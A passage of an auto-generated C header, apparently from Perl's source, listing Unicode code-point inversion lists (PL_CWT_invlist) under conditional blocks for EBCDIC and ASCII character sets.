0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWT_invlist[] = { /* for ASCII/Latin1 */ - 1217, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xDF, - 0xF7, - 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C8, - 0x1C9, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWT_invlist[] = { /* for EBCDIC 1047 */ - 1231, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C8, - 0x1C9, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 